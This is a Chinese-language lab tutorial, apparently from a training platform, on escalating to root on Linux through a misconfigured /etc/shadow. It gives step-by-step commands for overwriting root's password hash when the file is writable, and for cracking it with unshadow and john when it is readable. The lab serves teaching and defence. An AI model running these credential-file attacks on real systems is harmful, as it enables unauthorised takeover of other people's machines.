介绍
Linux 系统依赖 /etc/passwd 和 /etc/shadow 文件进行用户认证和访问控制。如果系统管理员错误配置了这些文件的权限或内容,可能会为权限提升攻击创造机会。在本实验中,你将学习如何利用 /etc/shadow 文件在 Linux 系统上获取 root 权限。此场景假设你已经以普通用户的身份获得了初始的低权限 shell 访问。
了解 /etc/shadow 文件
在这一步中,你将学习 /etc/shadow 文件的结构和作用。
/etc/shadow 文件存储了每个用户账户的加密密码以及与密码相关的配置信息。文件中的每一行代表一个用户,包含 9 个由冒号分隔的字段:
- 用户名
- 加密的密码哈希值
- 自纪元(1970-01-01)以来密码最后一次更改的天数
- 密码更改之间所需的最短天数
- 密码有效的最大天数
- 密码过期前警告用户的天数
- 密码过期后账户被禁用的天数
- 自纪元(1970-01-01)以来账户将被禁用的天数
- 保留字段,供未来使用
打开终端并导航到 /home/labex/project 目录。
cd /home/labex/project
让我们检查 /etc/shadow 文件中 labex 用户的条目:
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
注意,我们使用了 sudo 来读取 /etc/shadow 文件。这是因为该文件仅对 root 用户可读。
检查 labex_shadow.txt 文件的内容:
cat labex_shadow.txt
示例输出:
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
这一行表示:
- 用户名:
labex - 加密的密码哈希值:
$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8 - 上次密码更改:自纪元(1970-01-01)以来的 19818 天
- 最短密码有效期:0 天(无限制)
- 最长密码有效期:99999 天(永不过期)
- 密码警告期:过期前 7 天
- 账户永不过期
默认情况下,只有 root 用户可以读取和修改 /etc/shadow 文件。然而,配置错误的权限有时会为权限提升提供机会。
通过对 /etc/shadow 的写访问权限提升权限
在这一步中,你将学习如何通过修改 /etc/shadow 文件中的 root 密码来提升权限,前提是你对该文件具有写入权限。
首先,打开终端并导航到
/home/labex/project目录:cd /home/labex/project你会在目录中找到一个名为
env_setup_1.sh的脚本。运行此脚本来设置环境:./env_setup_1.sh这将设置环境并将你切换到
user001用户,模拟初始的低权限 shell 访问。导航到
user001的主目录:cd ~接下来,检查
/etc/shadow文件的权限:ls -alh /etc/shadow示例输出:
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow你应该会看到,由于
配置错误,user001用户对/etc/shadow文件具有写入权限。现在,你可以编辑
/etc/shadow文件,并将 root 用户的密码哈希替换为新的哈希值。首先,查看当前的 root 密码哈希:
cat /etc/shadow | grep root示例输出:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::要设置一个新密码(例如
pass123),使用openssl工具生成一个新的密码哈希:openssl passwd -1 -salt ignite pass123示例输出:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1在文本编辑器中打开
/etc/shadow文件,并将 root 用户的密码哈希替换为新的哈希值。nano /etc/shadow找到 root 用户的密码哈希:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::将密码哈希替换为新的哈希值:
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::保存更改并退出编辑器。
最后,使用
su root命令切换到 root 用户,并在提示时输入新密码pass123。su root
你现在应该已经获得了系统的 root 权限。
通过对 /etc/shadow 的读访问权限提升权限
在这一步中,你将学习如何通过破解 root 密码哈希来提升权限,前提是你对 /etc/shadow 文件仅具有读取权限。
在上一步之后,你应该仍然处于 root 用户。你可以打开一个新终端,或者使用 exit 命令注销当前用户,直到你回到 labex 用户。
当你处于
labex用户时,导航到/home/labex/project目录:cd /home/labex/project运行
env_setup_2.sh脚本来设置环境:./env_setup_2.sh这将设置一个新的环境,其中
user001用户对/etc/shadow文件具有读取权限。导航到
user001的主目录:cd ~验证
/etc/shadow文件的权限:ls -alh /etc/shadow示例输出:
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow你应该会看到,由于
配置错误,user001用户对/etc/shadow文件具有读取权限。接下来,我们可以使用
john工具来破解 root 用户的密码哈希。在使用john之前,你需要使用unshadow命令将/etc/passwd和/etc/shadow文件的内容合并:unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt现在,对
shadow_crack.txt文件运行john,以破解 root 用户的密码哈希,并将破解的密码保存到一个文件中:john --users=root shadow_crack.txt > cracked_passwords.txt检查
cracked_passwords.txt文件的内容以查看破解的密码:Loaded 1 password hash (md5crypt [MD5 32/64 X2]) study (root)最后,使用
su root命令切换到 root 用户,并在提示时输入破解的密码study:su root
你现在应该已经获得了系统的 root 权限。
总结
在本实验中,你学习了 /etc/shadow 文件的结构和作用,以及通过利用该文件提升权限的两种方法:通过写入权限修改 root 密码哈希,或通过读取权限破解 root 密码哈希。这些技术展示了在 Linux 环境中正确配置文件权限和保护敏感系统文件的重要性。